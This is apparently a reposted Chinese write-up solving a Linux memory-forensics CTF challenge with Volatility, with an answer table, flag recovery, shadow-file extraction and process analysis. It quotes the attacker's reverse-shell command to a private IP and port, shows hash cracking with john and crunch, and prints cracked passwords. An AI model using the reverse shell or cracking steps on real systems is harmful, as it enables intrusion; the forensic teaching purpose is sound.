Linux内存取证超详细解题过程

admin 2024年12月30日12:35:26评论35 views字数 7110阅读23分42秒阅读模式

 

0x1 前言
题序 题目 答案
1 请提交用户目录下压缩包中的flag.txt文件内容 flag{welcome_y3h8aq2}
2 请提交root账户的登录密码 ABCabc123
3 请指出攻击者通过什么命令实现提权操作 find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.29.129/7777 0>&1 ;
4 请指出内存中恶意进程的PID 2132
5 请指出恶意进程加密?件后的?件类型(如果是1.zip就填zip) gpg
0x2 前期准备工作

Linux内存取证超详细解题过程

1、首先,我们需要把上图中的两个文件上次到我们攻击机kali中去

Linux内存取证超详细解题过程

2、然后需要把kali中的Ubuntu18.04-5.4.0-84-generic.zip文件移动到volatility-master工具目录下的具体位置volatility-master/volatility/plugins/overlays/linux/下面。

┌──(root💀kali)-[~/桌面]          └─# cpUbuntu18.04-5.4.0-84-generic.zip/root/routing/volatility-master/volatility/plugins/overlays/linux/

Linux内存取证超详细解题过程

3、然后我们需要进入到volatility-master工具目录下,然后执行- -info参数命令

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py--infoVolatilityFoundationVolatilityFramework2.6.1Profiles--------LinuxUbuntu18_04-5_4_0-84-genericx64-AProfileforLinuxUbuntu18.04-5.4.0-84-genericx64//--info是查看volatility的信息

Linux内存取证超详细解题过程

上面圈起来的就是Volatility 命令中profile=后面需要接的参数信息。

4、我们后面需要使用的内存镜像文件就是我们桌面目录下的Linux内存取证.lime这个镜像:

Linux内存取证超详细解题过程

0x3 题目详解

1、请提交用户目录下压缩包中的flag.txt文件内容

(答案是:flag{welcome_y3h8aq2})

这一次用到的linux_find_file插件,根据题目意思是要找用户目录也就是/home/下的某个用户的家目录linux_find_file 插件中的 -L 选项就是列出内存中的所有文件。

因为这个内存镜像文件中的内容过多,所以等待时间较久。

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_find_file -L > /root/桌面/linuxfile/linuxfiles.list-f 后面接的是内存镜像文件-L 是列出内存中所有的文件

因为题目提示了,是家目录也就是/home/目录下找flag.txt,那么我们就可以过滤 /home/和flag关键字。

┌──(root💀kali)-[~/桌面/linuxfile]          └─# catlinuxfiles.list |grep"/home/" |grep"flag"3670125 0xffff90ed83f58978 /home/hil/flag.zip

Linux内存取证超详细解题过程

接下来就是把我们的flag.zip这个文件压缩包内容保存到我们的kali攻击机本地目录下

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_find_file -i 0xffff90ed83f58978 -O /root/桌面/linuxfile/flag.zip-i 选项是指定对应⽂件的索引节点值-O 选项是指定⽂件保存的路径

Linux内存取证超详细解题过程

我们首先把flag.zip生成这个zip的hash值,然后再利用kali上面的john等工具进行爆破

┌──(root💀kali)-[~/桌面/linuxfile]          └─# zip2johnflag.zip>flag.hash

Linux内存取证超详细解题过程

然后就需要八位数的字典,这里可以使用crunch工具来生成:

┌──(root💀kali)-[~/桌面/linuxfile]          └─# crunch88-t %%%%%%%% >passwd.list-- 8 8 第⼀个 8 代表字典每⼀⾏密码最少⼋位,第⼆个 8 代表最多⼋位,如果是 2 3,那么就是最少2位,最多3位          -- -t 是占位符,%代表数字

然后可以利用工具john进行爆破,爆破成功,密码是:20230309

成功拿到了flag值--wordlist= 后面接的是字典的目录位置

Linux内存取证超详细解题过程

Linux内存取证超详细解题过程

当然这里也可以使用kali自带的johnny图形化工具进行爆破

Linux内存取证超详细解题过程

Linux内存取证超详细解题过程

Linux内存取证超详细解题过程

2、请提交root账户的登录密码

(答案是:ABCabc123)

由于之前用linux_find_file -L 获取到了内存镜像中的所有文件并重定向输出到了/root/桌面/linuxfile/linuxfiles.list文件中,所以可以直接查看这个文件过滤/etc/shadow

┌──(root💀kali)-[~/桌面/linuxfile]          └─# catlinuxfiles.list |grep"/etc/shadow"1 ⨯          262337 0xffff90ed83070530 /etc/shadow-263668 0xffff90ee35c14568 /etc/shadow//复制/etc/shadow文件的索引节点值:0xffff90ee35c14568

然后我们再利用linux_find_file,然后再拿0xffff90ee35c14568 索引值,把/etc/shadow内容提取出来:

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_find_file -i 0xffff90ee35c14568 -O /root/桌面/linuxfile/shadow.list

Linux内存取证超详细解题过程

然后我们就可以再利用第一题中的john工具进行破解,

但是,在此之前我们需要找个kali哈希值爆破常用的rockyou.txt这个字典,然后再保存到桌面,方便以后使用

┌──(root💀kali)-[~/桌面/linuxfile]          └─# find/-namerockyou.txt/usr/share/wordlists/rockyou.txt┌──(root💀kali)-[~/桌面/linuxfile]          └─# cp/usr/share/wordlists/rockyou.txt/root/桌面

Linux内存取证超详细解题过程

爆破出来密码是ABCabc123

┌──(root💀kali)-[~/桌面/linuxfile]          └─# john--wordlist=../rockyou.txt shadow.listUsingdefaultinputencoding:UTF-8Loaded2passwordhasheswith2differentsalts(sha512crypt, crypt(3) $6$ [SHA512128/128AVX 2x])Nopasswordhasheslefttocrack(seeFAQ)┌──(root💀kali)-[~/桌面/linuxfile]          └─# john--show shadow.listroot:ABCabc123:19608:0:99999:7:::hil:123456:19581:0:99999:7:::2passwordhashescracked, 0left

Linux内存取证超详细解题过程

3、请指出攻击者通过什么命令实现提权操作

(  答案是:find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.29.129/7777 0>&1 ;)

这⼀题就要用到linux_bash插件了,这个插件会列出内存镜像中执行过的命令:

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.29.129/7777 0>&1 ;

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_bash

Linux内存取证超详细解题过程

4、请指出内存中恶意进程的PID

(答案是:2132)

通过上⼀步查看命令发现攻击者运行了⼀个python的文件并挂到后台去了

Linux内存取证超详细解题过程

然后要看⼀下这个内存镜像文件的进程,使用pslist插件

在前面我们使用linux_bash查看历史命令的时候,我们看到了powershell.py这个脚本,下面又出现了poweshell进程,这很难不让人怀疑是恶意进程。

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_pslist          -- pslist查看进程

Linux内存取证超详细解题过程

5、请指出恶意进程加密文件后的文件类型(如果是1.zip就填zip)

(答案是:gpg)

上面确定了恶意程序的进程后,转储⼀下这个进程

先创建⼀个存储的地方

┌──(root💀kali)-[~/桌面/linuxfile]          └─# mkdir2132

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_dump_map -p 2132 -D /root/桌面/linuxfile/2132---p 指定pid          ---D 指定导出文件的位置

然后就要开始代码分析了,先进入到了存储的目录,然后从第⼀个文件开始分析,如果有确定的关键词

可以直接搜索grep -rnl "关键词"./

如果是⼆进制文件 就加个选项 -a就行了,然后搜索到后可以用strings去看

┌──(root💀kali)-[~/桌面/linuxfile]          └─# cd2132┌──(root💀kali)-[~/桌面/linuxfile/2132]          └─# lstask.2132.0x27f1000.vmatask.2132.0x7f346fe16000.vmatask.2132.0x7f347199a000.vmatask.2132.0x7f3471fbd000.vmatask.2132.0x7f34725d3000.vmatask.2132.0x400000.vmatask.2132.0x7f34707df000.vmatask.2132.0x7f347199b000.vmatask.2132.0x7f3471fc1000.vmatask.2132.0x7f34725d4000.vmatask.2132.0x7f3460000000.vmatask.2132.0x7f34711ae000.vmatask.2132.0x7f347199d000.vmatask.2132.0x7f34721a8000.vmatask.2132.0x7f34725db000.vmatask.2132.0x7f3460021000.vmatask.2132.0x7f347134b000.vmatask.2132.0x7f3471b9c000.vmatask.2132.0x7f34723a8000.vmatask.2132.0x7f34725dc000.vmatask.2132.0x7f3468000000.vmatask.2132.0x7f347154a000.vmatask.2132.0x7f3471b9d000.vmatask.2132.0x7f34723ac000.vmatask.2132.0x7f34725dd000.vmatask.2132.0x7f3468021000.vmatask.2132.0x7f347154b000.vmatask.2132.0x7f3471b9e000.vmatask.2132.0x7f34723ae000.vmatask.2132.0x7ffea49bc000.vmatask.2132.0x7f346f3fc000.vmatask.2132.0x7f347154c000.vmatask.2132.0x7f3471ba1000.vmatask.2132.0x7f34723b2000.vmatask.2132.0x7ffea49df000.vmatask.2132.0x7f346f413000.vmatask.2132.0x7f3471568000.vmatask.2132.0x7f3471da0000.vmatask.2132.0x7f34723dc000.vmatask.2132.0x7ffea49e2000.vmatask.2132.0x7f346f612000.vmatask.2132.0x7f3471767000.vmatask.2132.0x7f3471da1000.vmatask.2132.0x7f3472481000.vmatask.2132.0x9b3000.vmatask.2132.0x7f346f613000.vmatask.2132.0x7f3471768000.vmatask.2132.0x7f3471da2000.vmatask.2132.0x7f34725ce000.vmatask.2132.0x9b4000.vmatask.2132.0x7f346f614000.vmatask.2132.0x7f3471769000.vmatask.2132.0x7f3471dbc000.vmatask.2132.0x7f34725cf000.vmatask.2132.0xa51000.vmatask.2132.0x7f346f615000.vmatask.2132.0x7f3471798000.vmatask.2132.0x7f3471fbb000.vmatask.2132.0x7f34725d1000.vmatask.2132.0x7f346fe15000.vmatask.2132.0x7f3471998000.vmatask.2132.0x7f3471fbc000.vmatask.2132.0x7f34725d2000.vma

但是这里其实还有一个更加简单的方法,使用linux_psaux插件

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_psaux

Linux内存取证超详细解题过程

236400/root/linux_memory/avml-x86_64/root/linux_memory/capture/hil-virtual-machine-2023-09-08_11.18.30/hil-virtual-machine-2023-09-08_11.18.30-memory.lime236800gpg--output wlaq.txt.gpg --encrypt --recipient [email protected] wlaq.txt

当然,也可以直接搜索有没有之前linux_bash中运行的powershell.py文件,有的话直接提取出来直接分析

Linux内存取证超详细解题过程

Linux内存取证超详细解题过程

这个也是一样,可以看出这个脚本使用了 GnuPG(GPG)来加密文件,并指定了输出文件的后缀名为 “.gpg”。所以加密后的文件的后缀名应该是 “.gpg”。

┌──(root💀kali)-[~/routing/volatility-master]          └─# ./vol.py-f/root/桌面/Linux内存取证.lime--profile=LinuxUbuntu18_04-5_4_0-84-genericx64 linux_find_file -i 0xffff90ed6ac167a8 -O /root/桌面/linuxfile/powershell.py

Linux内存取证超详细解题过程

 

原文始发于微信公众号(神农Sec):不会取证?取证总结少?Linux内存取证超详细解题过程看过来!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月30日12:35:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux内存取证超详细解题过程https://cn-sec.com/archives/3570310.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息